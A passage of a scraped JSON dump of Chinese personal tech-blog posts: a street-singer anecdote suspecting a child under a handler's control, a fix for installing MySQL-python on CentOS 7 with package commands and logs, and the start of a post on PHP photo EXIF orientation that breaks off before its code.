u535a\u4e3b\u4e4b\u524d\u7684\u7ecf\u9a8c\u6765\u770b\uff0c\u4e00\u822c\u5356\u5531\u7684\u89c1\u5230\u6709\u4eba\u7ed9\u94b1\u90fd\u4f1a\u505c\u4e0b\u6765\u793c\u8c8c\u7684\u8bf4\u58f0\u8c22\u8c22\uff0c\u9664\u975e\u662f\u90a3\u79cd\u5531\u7684\u975e\u5e38\u6295\u5165\u800c\u4e14\u89c2\u4f17\u5f88\u591a\u7684\u4e0d\u65b9\u4fbf\u505c\u4e0b\u6765\u7684\u60c5\u51b5\uff0c\u8fd9\u79cd\u6211\u8fd8\u771f\u89c1\u8fc7\uff0c\u4e00\u4e2a\u5c0f\u4f19\u5b50\uff0c\u4e24\u4e2a\u624b\u81c2\u90fd\u6ca1\u4e86\uff0c\u5728\u8def\u8fb9\u5356\u5531\uff0c\u4f46\u662f\u5531\u7684\u771f\u5fc3\u597d\u542c\uff0c\u5468\u4f20\u96c4\u7684\u300a\u5173\u4e0d\u4e0a\u7684\u7a97\u300b\uff0c\u6211\u5df2\u7ecf\u5206\u4e0d\u6e05\u662f\u539f\u5531\u8fd8\u662f\u4ed6\u5531\u7684\uff0c\u73b0\u573a\u56f4\u4e86\u5f88\u591a\u4eba\uff0c\u8fd8\u6709\u597d\u591a\u62cd\u7167\u5f55\u50cf\u7684\uff0c\u8def\u4eba\u4e5f\u6709\u5f88\u591a\u53bb\u7ed9\u94b1\uff0c\u4f46\u662f\u5c0f\u4f19\u5b50\u4e00\u76f4\u90fd\u662f\u5f88\u5fd8\u60c5\u5f88\u6295\u5165\u7684\u5728\u5531\u6b4c\uff0c\u76f4\u5230\u5b8c\u6574\u7684\u5531\u5b8c\uff0c\u624d\u8bf4\u8c22\u8c22\uff0c\u5f53\u7136\u4e86\uff0c\u535a\u4e3b\u6211\u4e5f\u662f\u4e00\u65f6\u6ca1\u5fcd\u4f4f\uff0c\u8d21\u732e\u4e8610\u5757\u5927\u6d0b\uff0c\u8c01\u8ba9\u5c0f\u4f19\u5b50\u5531\u7684\u8fd9\u4e48\u597d\u542c\u5462\u3002\r\n</p>\r\n<p>\r\n\t\u54ce\u5440\uff0c\u8dd1\u8fdc\u4e86\uff0c\u56de\u5230\u521a\u624d\u8bf4\u7684\u5973\u5b66\u751f\u90a3\u91cc\uff0c\u636e\u6211\u89c2\u5bdf\uff0c\u90a3\u4e2a\u5b69\u5b50\u8fde\u5531\u4e86\u4e09\u9996\u90fd\u6ca1\u6709\u8bf4\u8c22\u8c22\u3002\u800c\u4e14\u6211\u5df2\u7ecf\u786e\u5b9a\u6b4c\u58f0\u4e0d\u662f\u539f\u5531\uff0c\u8fd9\u633a\u6709\u610f\u601d\u7684\uff0c\u7ee7\u7eed\u89c2\u5bdf\uff0c\u7ec8\u4e8e\u770b\u5230\u5b69\u5b50\u8bf4\u4e86\u8c22\u8c22\uff0c\u5e76\u4e14\u5f2f\u8170\u97a0\u8eac\u4e86\uff0c\u6211\u731c\u662f\u8def\u4eba\u7ed9\u7684\u94b1\u6bd4\u8f83\u591a\u5427\u3002\u5c31\u5728\u8fd9\u4e2a\u65f6\u5019\uff0c\u5947\u602a\u7684\u4e8b\u60c5\u53d1\u751f\u4e86\u3002\r\n</p>\r\n<p>\r\n\t\u5728\u5b69\u5b50\u5531\u6b4c\u7684\u4e0d\u8fdc\u5904\uff0c\u6709\u4e2a\u770b\u8d77\u6765\u4e5e\u4e10\u6a21\u6837\u7684\u4e2d\u5e74\u4eba\u4e00\u624b\u62ff\u7740\u4e00\u4e2a\u74f6\u5b50\uff0c\u4e00\u624b\u6307\u7740\u90a3\u4e2a\u5b69\u5b50\u5927\u558a\u201c\u5feb\u5531\u201d\uff0c\u6211\u521a\u5f00\u59cb\u4ee5\u4e3a\u53ea\u662f\u4e2a\u7cbe\u795e\u75c5\u4e5e\u4e10\uff0c\u6709\u70b9\u602a\u5f02\u7684\u8a00\u8bed\u548c\u52a8\u4f5c\u4e0d\u8db3\u4e3a\u5947\uff0c\u4f46\u662f\u90a3\u4e2a\u5c0f\u59d1\u5a18\u5c45\u7136\u5f88\u542c\u8bdd\u7684\u63a5\u7740\u5531\u8d77\u6765\u4e86\u3002\u96be\u9053\u8fd9\u4e2d\u95f4\u6709\u79cd\u4e0d\u660e\u89c9\u5389\u7684\u5173\u7cfb\uff1f\r\n</p>\r\n<p>\r\n\t\u535a\u4e3b\u6211\u9047\u5230\u8fd9\u79cd\u60c5\u51b5\u5f53\u7136\u4e0d\u4f1a\u5c31\u8fd9\u4e48\u7b97\u4e86\uff0c\u6545\u610f\u8d70\u5230\u90a3\u4e2a\u201c\u4e5e\u4e10\u201d\u9762\u524d\uff0c\u76ef\u7740\u4ed6\u3002\u4ed6\u4f3c\u4e4e\u89c9\u5bdf\u5230\u4e86\u4ec0\u4e48\uff0c\u5f00\u59cb\u6709\u4e86\u5404\u79cd\u5947\u602a\u7684\u52a8\u4f5c\uff0c\u5634\u91cc\u8bf4\u7740\u4e00\u4e9b\u4e71\u4e03\u516b\u7cdf\u7684\u8bdd\uff0c\u4f3c\u4e4e\u5728\u5047\u88c5\u81ea\u5df1\u662f\u4e00\u4e2a\u771f\u6b63\u7684\u4e5e\u4e10\u3002\r\n</p>\r\n<p>\r\n\t\u8fd9\u4e2a\u4eba\u4f3c\u4e4e\u5728\u63a9\u76d6\u7740\u4ec0\u4e48\uff0c\u6211\u6162\u6162\u7684\u8d70\u5230\u201c\u4e5e\u4e10\u201d\u80cc\u540e\u4e00\u4e2a\u6bd4\u8f83\u8fdc\u7684\u5730\u65b9\uff0c\u8fc7\u4e86\u4e00\u5757\uff0c\u90a3\u4eba\u8fd8\u626d\u8fc7\u5934\u770b\u4e86\u4e00\u773c\uff0c\u4f3c\u4e4e\u662f\u5728\u5bfb\u627e\u521a\u521a\u7ad9\u5728\u4ed6\u9762\u524d\u7684\u8fd9\u4e2a\u50bb\u903c\u3002\r\n</p>\r\n<h2>\r\n\t\u604d\u7136\u5927\u609f<br>\r\n</h2>\r\n<p>\r\n\t\u770b\u5230\u8fd9\u91cc\u6211\u5ffd\u7136\u660e\u767d\u4e86\uff0c\u8fd9\u4e2a\u4eba\u53ea\u662f\u4e00\u4e2a\u5047\u88c5\u4e5e\u4e10\u7684\u6b63\u5e38\u4eba\uff0c\u4ed6\u4e4b\u6240\u4ee5\u8fd9\u4e48\u505a\uff0c\u662f\u4e3a\u4e86\u76ef\u4f4f\u90a3\u4e2a\u5356\u5531\u7684\u5c0f\u5973\u5b69\uff0c\u9632\u6b62\u6709\u4eba\u63a5\u8fd1\u5c0f\u5973\u5b69\uff0c\u5c0f\u5973\u5b69\u5e94\u8be5\u662f\u88ab\u63a7\u5236\u4e86\uff0c\u9644\u8fd1\u4f30\u8ba1\u4e5f\u8fd8\u6709\u76ef\u68a2\u7684\u4eba\u548c\u8f66\uff0c\u4f46\u662f\u6b64\u65f6\u7684\u6211\u4e5f\u65e0\u80fd\u4e3a\u529b\uff0c\u56e0\u4e3a\u8fd9\u79cd\u5356\u5531\u7684\u884c\u4e3a\u5728\u8fd9\u4e2a\u57ce\u5e02\u6bcf\u5929\u90fd\u4f1a\u4e0a\u6f14\uff0c\u96be\u9053\u8b66\u5bdf\u4e0d\u4f1a\u77e5\u9053\uff1f\u7535\u89c6\u4e0a\u653e\u4e86\u90a3\u4e48\u591a\u7c7b\u4f3c\u7684\u6848\u4f8b\uff0c\u96be\u9053\u6ca1\u6709\u4eba\u770b\u8fc7\uff1f\u76ef\u68a2\u7684\u4eba\u90a3\u4e48\u660e\u76ee\u5f20\u80c6\u7684\u63a7\u5236\u7740\u5c0f\u5973\u5b69\u96be\u9053\u6ca1\u6709\u4eba\u5bdf\u89c9\uff1f\r\n</p>\r\n<p>\r\n\t\u6211\u60f3\u8fd9\u4e2d\u95f4\u4e00\u5b9a\u6709\u7740\u5f88\u591a\u539f\u56e0\uff0c\u5c31\u50cf\u6bcf\u5230\u5e74\u5e95\uff0c\u9a6c\u8def\u4e0a\u603b\u4f1a\u51fa\u73b0\u4e00\u5927\u6ce2\u4e0d\u6015\u6b7b\u7684\u58ee\u58eb\uff0c\u4e0d\u7ed9\u94b1\u5c31\u6298\u96e8\u522e\uff0c\u96be\u9053\u771f\u7684\u6ca1\u6cd5\u7ba1\u5417\uff1f\u6211\u60f3\uff0c\u4e8b\u60c5\u5e76\u6ca1\u6709\u90a3\u4e48\u7b80\u5355\uff0c\u4e00\u5b9a\u6709\u67d0\u79cd\u539f\u56e0\u5bfc\u81f4\u8fd9\u79cd\u4e8b\u60c5\u65e0\u6cd5\u6b63\u5e38\u7684\u201c\u4f9d\u6cd5\u5904\u7406\u201d\u3002\r\n</p>\r\n<h2>\r\n\t\u7ed3\u8bed<br>\r\n</h2>\r\n<p>\r\n\t\u5c31\u8bf4\u5230\u8fd9\u5427\uff0c\u6700\u8fd1\u4e5f\u5f88\u5c11\u53d1\u6280\u672f\u8d34\u4e86\uff0c\u6211\u6162\u6162\u518d\u6574\u7406\u4e00\u4e9b\u51fa\u6765\u5427\uff0c\u957f\u65f6\u95f4\u4e0d\u5199\uff0c\u624b\u90fd\u6709\u4e9b\u751f\u758f\u4e86\uff0c\r\n</p>\r\n<p>\r\n\tPS\uff1a\u770b\u5230\u540e\u53f0\u6709\u540c\u5b66\u7559\u8a00\u8bf4\u8981\u626b\u63cf\u811a\u672c\uff0c\u6211\u8fd1\u671f\u628a\u4e00\u4e9b\u89c9\u5f97\u53ef\u4ee5\u516c\u5f00\u7684\u811a\u672c\u653e\u5230Gayhub\uff08\u5bf9\uff0c\u6ca1\u9519\uff0c\u5c31\u662fGayhub\uff09\u4e0a\uff0c\u4f9b\u540c\u5b66\u4eec\u53c2\u8003\uff0c\u6709\u9700\u8981\u7684\u53ef\u4ee5\u8fc7\u51e0\u5929\u53bb\u770b\u4e0b\uff0c\u6211\u62bd\u65f6\u95f4\u653e\u4e0a\u53bb\u3002\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23434 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["CentOS7\u5b89\u88c5MySQL-python\u51fa\u9519"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2016-11-10, 11:18 PM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "Python", "\n\t\t\t\t\t\t\t\t\n, ", "\u7ecf\u9a8c\u5206\u4eab", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u80cc\u666f\r\n</h2>\r\n<p>\r\n\tPython\u5728\u5199\u4e00\u4e9b\u7b80\u5355\u5b58\u50a8\u7684\u5c0f\u5e94\u7528\u65f6\uff0c\u4e00\u822c\u91c7\u7528\u6587\u672c\u5b58\u50a8\u6216\u8005sqlite3\u5c31\u53ef\u4ee5\u4e86\uff0c\u4f46\u662f\u4e00\u65e6\u9700\u8981\u9047\u5230\u5927\u91cf\u6570\u636e\u7684\u5b58\u50a8\u548c\u67e5\u8be2\u7684\u65f6\u5019\uff0c\u4f7f\u7528\u6587\u672c\u548csqlite3\u5c31\u663e\u5f97\u529b\u4e0d\u4ece\u5fc3\u4e86\uff0c\u5b58\u50a8\u67e5\u8be2\u7684\u901f\u5ea6\u660e\u663e\u53d8\u6162\uff0c\u8fd9\u4e2a\u65f6\u5019\u53ef\u4ee5\u9009\u62e9\u4f7f\u7528mysql\u6570\u636e\u5e93\u6765\u5b58\u50a8\uff0cLinux\u4e0b\u9762\u5b89\u88c5MySQL-python\u53ef\u80fd\u4f1a\u9047\u5230\u8fd9\u4e9b\u95ee\u9898\u3002\r\n</p>\r\n<h2>\r\n\tUbuntu<br>\r\n</h2>\r\n<p>\r\n\tUbuntu16.04\u4e0b\u9762\u5b89\u88c5MySQL-python\u6a21\u5757\u7684\u65b9\u6cd5\u5f88\u7b80\u5355\uff0c\u4f7f\u7528apt-get \u6216\u8005 pip\u90fd\u53ef\u4ee5\u5feb\u901f\u5b89\u88c5\u5b8c\u6210\uff0c\u6267\u884c\u4ee5\u4e0b\u547d\u4ee4\r\n</p>\r\n<pre class=\"brush:bash;\">apt-get install python-mysqldb\r\n\u6216\u8005\r\npip install mysql-python</pre>\r\n\u4f46\u662fCentOS\u4e0b\u9762\u53ef\u80fd\u5c31\u4f1a\u51fa\u73b0\u95ee\u9898\u3002\r\n<h2>\r\n\tCentOS\r\n</h2>\r\n<p>\r\n\tCentOS 7 \u4e0b\u9762\u4f7f\u7528yum\u662f\u627e\u4e0d\u5230MySQL-python\u8fd9\u4e2a\u4e1c\u897f\u7684\uff0c\u63a8\u8350\u4f7f\u7528pip\u5b89\u88c5\uff0c\u6267\u884c\u4ee5\u4e0b\u547d\u4ee4\u5b89\u88c5\u8fd9\u4e2a\u6a21\u5757\r\n</p>\r\n<pre class=\"brush:bash;\">pip install mysql-python</pre>\r\n\u4f46\u662f\u5b89\u88c5\u5e76\u6ca1\u6709\u8fd9\u4e48\u987a\u5229\uff0c\u51fa\u73b0\u5982\u4e0b\u9519\u8bef\r\n<pre class=\"brush:bash;\">Collecting mysql-python\r\n Using cached MySQL-python-1.2.5.zip\r\n Complete output from command python setup.py egg_info:\r\n sh: mysql_config: \u672a\u627e\u5230\u547d\u4ee4\r\n Traceback (most recent call last):\r\n File \"<string>\", line 1, in <module>\r\n File \"/tmp/pip-build-w_VWdz/mysql-python/setup.py\", line 17, in <module>\r\n metadata, options = get_config()\r\n File \"setup_posix.py\", line 43, in get_config\r\n libs = mysql_config(\"libs_r\")\r\n File \"setup_posix.py\", line 25, in mysql_config\r\n raise EnvironmentError(\"%s not found\" % (mysql_config.path,))\r\n EnvironmentError: mysql_config not found\r\n \r\n ----------------------------------------\r\nCommand \"python setup.py egg_info\" failed with error code 1 in /tmp/pip-build-w_VWdz/mysql-python/</pre>\r\n<h2>\r\n\t\u89e3\u51b3\r\n</h2>\r\n<p>\r\n\t\u6839\u636e\u4e92\u8054\u7f51\u641c\u7d22\u7684\u7ed3\u679c\u6765\u770b\uff0c\u6709\u524d\u8f88\u5df2\u7ecf\u7ed9\u51fa\u4e86\u89e3\u51b3\u65b9\u6cd5\uff0c\u5c31\u662f\u9700\u8981\u5b89\u88c5\u4e00\u4e9b\u8f6f\u4ef6\u5305\u7684dev\u7248\u672c\uff0c\u5b89\u88c5\u5982\u4e0b\u8f6f\u4ef6\u5305\r\n</p>\r\n<pre class=\"brush:bash;\">yum install python-devel mysql-devel zlib-devel openssl-devel</pre>\r\n\u5b89\u88c5\u5b8c\u6210\u4e4b\u540e\u518d\u6267\u884c\u4e0a\u9762\u7684pip\u5b89\u88c5\u5373\u53ef\r\n<pre class=\"brush:bash;\">Collecting MySQL-python\r\n Using cached MySQL-python-1.2.5.zip\r\nBuilding wheels for collected packages: MySQL-python\r\n Running setup.py bdist_wheel for MySQL-python ... done\r\n Stored in directory: /root/.cache/pip/wheels/38/a3/89/ec87e092cfb38450fc91a62562055231deb0049a029054dc62\r\nSuccessfully built MySQL-python\r\nInstalling collected packages: MySQL-python\r\nSuccessfully installed MySQL-python-1.2.5</pre>\r\n<h2>\r\n\t\u53c2\u8003\r\n</h2>\r\n<p>\r\n\thttps://www.sunnyos.com/article-show-38.html\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23431 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["php\u6b63\u786e\u5904\u7406\u7167\u7247\u7684\u65cb\u8f6c (orientation) \u95ee\u9898"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2016-11-07, 9:40 AM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "\u7ecf\u9a8c\u5206\u4eab", "\n\t\t\t\t\t\t\t\t\n, ", "\u539f\u521b", "\n"], "content": ["<div class=\"post-body\">\n<h2>\r\n\t\u524d\u8a00\r\n</h2>\r\n<p>\r\n\tiPhone\u548c\u4e00\u4e9b\u6570\u7801\u76f8\u673a\u5728\u62cd\u7167\u7684\u65f6\u5019\u5f80\u5f80\u4f1a\u5728\u56fe\u7247\u91cc\u9762\u52a0\u5165\u5f88\u591a\u7684\u7167\u7247\u4fe1\u606f\uff08<a href=\"https://www.92ez.com/?action=article&tag=exif\" onclick=\"javascript:tagshow('exif');return false;\">exif</a>\uff09\uff0c\u6bd4\u5982\u62cd\u7167\u65f6\u95f4\u3001\u5149\u5708\u5927\u5c0f\u3001\u66dd\u5149\u65f6\u95f4\u3001GSP\u5730\u7406\u4fe1\u606f\u4ee5\u53ca\u62cd\u6444\u65f6\u76f8\u673a\u503e\u659c\u72b6\u6001\u7b49\u7b49\uff0c\u8fd9\u4e9b\u4fe1\u606f\u5f80\u5f80\u4f1a\u63d0\u4f9b\u7ed9\u67d0\u4e9b\u7cfb\u7edf\u6765\u5bf9\u56fe\u7247\u8fdb\u884c\u6b63\u786e\u7684\u663e\u793a\uff0c\u4f46\u662f\u6211\u4eec\u5728\u5bf9\u5904\u7406\u56fe\u7247\u7684\u65f6\u5019\u901a\u5e38\u4f1a\u4e22\u5931\u6389\u90a3\u4e9b\u56fe\u7247\u4fe1\u606f\uff0c\u8fd9\u5c31\u4f1a\u5bfc\u81f4\u663e\u793a\u51fa\u73b0\u95ee\u9898\uff0c\u5f88\u5178\u578b\u7684\u4e00\u4e2a\u663e\u793a\u9519\u8bef\u5c31\u662f\u5bf9Iphone\u62cd\u6444\u7684\u7167\u7247\u8fdb\u884c\u526a\u88c1\u4e4b\u540e\u53d1\u73b0\u56fe\u7247\u65cb\u8f6c\u4e8690\u5ea6\uff0c\u8fd9\u4e2a\u65f6\u5019\u5c31\u9700\u8981\u5bf9\u56fe\u7247\u8fdb\u884c\u76f8\u5e94\u7684\u5904\u7406\u3002\r\n</p>\r\n<h2>\r\n\t\u80cc\u666f\r\n</h2>\r\n<p>\r\n\t\u535a\u4e3b\u662f\u5728\u4e00\u4e2a\u5c0f\u9879\u76ee\u4e2d\u9047\u5230\u7684\u8fd9\u4e2a\u95ee\u9898\uff0c\u8fd9\u4e2a\u9879\u76ee\u867d\u7136\u5c0f\uff0c\u4f46\u662f\u6d89\u53ca\u5230\u7684\u5404\u79cd\u5751\u771f\u7684\u53ef\u4ee5\u5199\u4e00\u7bc7\u6bd4\u8f83\u957f\u7684\u6280\u672f\u6587\u7ae0\u4e86\uff0c\u8fd9\u91cc\u5148\u4e0d\u63cf\u8ff0\uff0c\u540e\u9762\u5355\u72ec\u53d1\u4e00\u7bc7\u5173\u4e8e\u8fd9\u4e2a\u9879\u76ee\u7684\u6587\u7ae0\uff0c\u628a\u6240\u6d89\u53ca\u5230\u7684\u77e5\u8bc6\u70b9\u4ee5\u53ca\u5751\u70b9\u4e00\u4e00\u63cf\u8ff0\u3002\r\n</p>\r\n<p>\r\n\t\u8fd9\u4e2a\u5c0f\u9879\u76ee\u4e2d\u9047\u5230\u7684\u95ee\u9898\u4e4b\u4e00\u5c31\u662f\uff0c\u6211\u9700\u8981\u4f7f\u7528html5\u7684<a href=\"https://www.92ez.com/?action=article&tag=canvas\" onclick=\"javascript:tagshow('canvas');return false;\">canvas</a>\u628a\u8bfb\u53d6\u5230\u7684\u56fe\u7247\u8fdb\u884c\u526a\u88c1\uff0c\u7136\u540e\u6e32\u67d3\u5230\u753b\u5e03\u4e0a\u3002\u5f88\u7b80\u5355\u7684\u4e00\u4e2a\u9700\u6c42\uff0c\u4f46\u662f\u5728Iphone\u4e0a\u6d4b\u8bd5\u7ecf\u5e38\u4f1a\u770b\u5230\u526a\u88c1\u5b8c\u4e4b\u540e\u56fe\u7247\u81ea\u52a8\u65cb\u8f6c\u4e8690\u5ea6\uff0c\u5b89\u5353\u673a\u4e0a\u4e0d\u5b58\u5728\u8fd9\u4e2a\u95ee\u9898\u3002\r\n</p>\r\n<h2>\r\n\t\u5206\u6790\r\n</h2>\r\n<p>\r\n\t\u4e4b\u524d\u5c31\u9047\u5230\u8fc7\u8fd9\u4e2a\u95ee\u9898\uff0ciPhone\u62cd\u6444\u7684\u7167\u7247\u590d\u5236\u5230win7\u4e0a\u6253\u5f00\u56fe\u7247\u5c31\u662f\u4e00\u4e2a\u5012\u8fc7\u6765\u7684\uff0c\u800c\u5728\u624b\u673a\u4e0a\u770b\u5374\u6ca1\u6709\u95ee\u9898\uff0c\u8fd9\u5c31\u662f\u56e0\u4e3aexif\u4fe1\u606f\u5728\u641e\u9b3c\uff0c\u7b80\u5355\u70b9\u8bf4exif\u5c31\u662f\u4fdd\u7559\u4e86\u56fe\u7247\u7684\u62cd\u6444\u53c2\u6570\uff0c\u663e\u793a\u7684\u65f6\u5019\u7a0b\u5e8f\u4f1a\u8bfb\u53d6\u56fe\u7247\u7684exif\u4fe1\u606f\uff0c\u5982\u679cexif\u4fe1\u606f\u4e0d\u5b58\u5728\uff0c\u90a3\u4e48\u56fe\u7247\u5c31\u662f\u6309\u7167\u6700\u539f\u59cb\u7684\u5f62\u5f0f\u663e\u793a\uff0c\u5982\u679c\u6709exif\u4fe1\u606f\uff0c\u7a0b\u5e8f\u5c31\u4f1a\u6309\u7167exif\u6765\u3002\r\n</p>\r\n<p>\r\n\t\u8fd9\u91cc\u535a\u4e3b\u9047\u5230\u7684\u60c5\u51b5\u662f\u56fe\u7247\u5728\u8fdb\u884c\u526a\u88c1\u7684\u65f6\u5019\u5bfc\u81f4exif\u4fe1\u606f\u4e22\u5931\uff0c\u672c\u6765\u7a0b\u5e8f\u8bfb\u53d6exif\u4e2d\u56fe\u7247\u8981\u6c42\u987a\u65f6\u9488\u65cb\u8f6c90\u00b0\uff0c\u73b0\u5728exif\u4e22\u5931\uff0c\u7a0b\u5e8f\u8bfb\u4e0d\u5230\uff0c\u9ed8\u8ba4\u56fe\u7247\u4e0d\u7528\u65cb\u8f6c\uff0c\u90a3\u4e48\u6211\u4eec\u770b\u5230\u7684\u56fe\u7247\u5c31\u662f\u5012\u7740\u7684\uff0c\u8fd9\u91cc\u5e94\u8be5\u600e\u4e48\u89e3\u51b3\u5462\uff1f\r\n</p>\r\n<p>\r\n\t\u5728\u8fd9\u4e2a\u9879\u76ee\u4e2d\uff0c\u7531\u4e8e\u8bfb\u53d6\u7684\u56fe\u7247\u5b58\u5728\u8de8\u57df\u95ee\u9898\uff0c\u4e0d\u80fd\u76f4\u63a5\u5bf9\u672c\u5730\u7684\u56fe\u7247\u8fdb\u884c\u88c1\u526a\uff0c\u6240\u4ee5\u662f\u5148\u4e0a\u4f20\u5230\u8fdc\u7a0b\u670d\u52a1\u5668\uff0c\u751f\u6210\u4e00\u4e2a\u8fdc\u7a0b\u7684\u5730\u5740\uff0c\u7136\u540e\u518d\u7528canvas\u8bfb\u53d6\u8fdc\u7a0b\u5730\u5740\uff0c\u8fd9\u6837\u5c31\u89e3\u51b3\u4e86\u8de8\u57df\u95ee\u9898\u3002\r\n</p>\r\n<p>\r\n\t\u73b0\u5728\u6446\u5728\u535a\u4e3b\u9762\u524d\u5c31\u6709\u4e24\u79cd\u89e3\u51b3\u65b9\u6848\u4e86\r\n</p>\r\n<ol>\r\n\t<li>\r\n\t\t<p>\r\n\t\t\t\u53ea\u7528exif.js\u672c\u5730\u8bfb\u53d6\u56fe\u7247\u7684exif\u4fe1\u606f\uff0c\u76f4\u63a5\u5728\u5ba2\u6237\u7aef\u8fdb\u884c\u5224\u65ad\r\n\t\t</p>\r\n\t</li>\r\n\t<li>\r\n\t\t<p>\r\n\t\t\t\u4e0a\u4f20\u5230\u670d\u52a1\u5668\u7684\u65f6\u5019\u5bf9\u56fe\u7247\u8fdb\u884c\u5904\u7406\uff0c\u8fd4\u56de\u7684\u8fdc\u7a0b\u5730\u5740\u5df2\u7ecf\u662f\u5904\u7406\u8fc7\u7684\u56fe\u7247\r\n\t\t</p>\r\n\t</li>\r\n</ol>\r\n<p>\r\n\t\u5bf9\u8fd9\u4e24\u79cd\u65b9\u6848\u8fdb\u884c\u5bf9\u6bd4\uff0c\u7b2c\u4e00\u79cd\u65b9\u6848\u770b\u8d77\u6765\u786e\u5b9e\u633a\u9002\u5408\uff0c\u76f4\u63a5\u5728\u524d\u7aef\u8fdb\u884c\u5904\u7406\uff0c\u8fd9\u91cc\u4f1a\u975e\u5e38\u8282\u7701\u670d\u52a1\u5668\u8d44\u6e90\uff0c\u4f46\u662f\u7f3a\u70b9\u4e5f\u5f88\u660e\u663e\uff0ccanvas\u5bf9\u56fe\u7247\u7684\u6e32\u67d3\u6709\u4e00\u5b9a\u7684\u9650\u5236\uff0c\u5f53\u56fe\u7247\u8fc7\u5927\u7684\u65f6\u5019\u6e32\u67d3\u5c31\u4f1a\u5931\u8d25\uff0c\u800c\u5728\u8fd9\u4e2a\u9879\u76ee\u4e2d\u5ba2\u6237\u8981\u6c42\u6700\u540e\u751f\u6210\u7684\u56fe\u7247\u4e00\u5b9a\u8981\u9ad8\u6e05\u5927\u56fe\uff0c\u4e0a\u4f20\u7684\u7167\u7247\u4e00\u822c\u90fd\u67093\uff5e5M\u5927\u5c0f\uff0c\u8fd9\u4e48\u5927\u7684\u56fe\u7247\u5927\u591a\u6570\u65f6\u5019canvas\u90fd\u65e0\u6cd5\u5904\u7406\u3002\r\n</p>\r\n<p>\r\n\texif.js\u7684\u539f\u7406\u5176\u5b9e\u6bd4\u8f83\u7b80\u5355\uff0c\u5c31\u662f\u628a\u56fe\u7247\u8f6c\u6362\u6210base64\u5b57\u7b26\u4e32\uff0c\u5bf9\u5176\u4e2d\u7684\u4fe1\u606f\u8fdb\u884c\u89e3\u6790\uff0c\u6240\u4ee5\u4e00\u65e6\u8981\u5bf9\u5927\u56fe\u8fdb\u884c\u5904\u7406\u7684\u65f6\u5019\u5c31\u4f1a\u51fa\u73b0\u95ee\u9898\uff0c\u6570\u636e\u91cf\u592a\u5927\uff0c\u5bfc\u81f4\u5931\u8d25\u3002\r\n</p>\r\n<p>\r\n\t\u7b2c\u4e00\u79cd\u65b9\u6848\u4e0d\u53ef\u884c\u5c31\u53ea\u80fd\u9009\u62e9\u7b2c\u4e8c\u79cd\u65b9\u6848\u4e86\uff0c\u9879\u76ee\u540e\u7aef\u4f7f\u7528<a href=\"https://www.92ez.com/?action=article&tag=php\" onclick=\"javascript:tagshow('php');return false;\">php</a>\u505a\u4e2d\u8f6c\u5904\u7406\uff0c\u524d\u9762\u8bf4\u4e86\u9700\u8981\u751f\u6210\u4e00\u4e2a\u8fdc\u7a0b\u5730\u5740\uff0cphp\u8d1f\u8d23\u628a\u63a5\u6536\u5230\u7684\u56fe\u7247\u5b58\u50a8\u5728\u8fdc\u7a0b\u670d\u52a1\u5668\uff0c\u7136\u540e\u8fd4\u56de\u4e00\u4e2a\u5730\u5740\u7ed9\u524d\u7aef\uff0c\u8fd9\u91cc\u53ea\u9700\u8981\u5728\u5b58\u50a8\u4e4b\u524d\u5bf9\u56fe\u7247\u505a\u5904\u7406\u5c31\u53ef\u4ee5\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\u3002\r\n</p>\r\n<h2>\r\n\t\u89e3\u51b3\r\n</h2>\r\n<p>\r\n\t\u9996\u5148\u7ed9\u51fa\u5b8c\u6574\u4ee3\u7801\uff0c\u7136\u540e\u5bf9\u4ee3\u7801\u8fdb\u884c\u89e3\u91ca\r\n</p>\r\n<pre 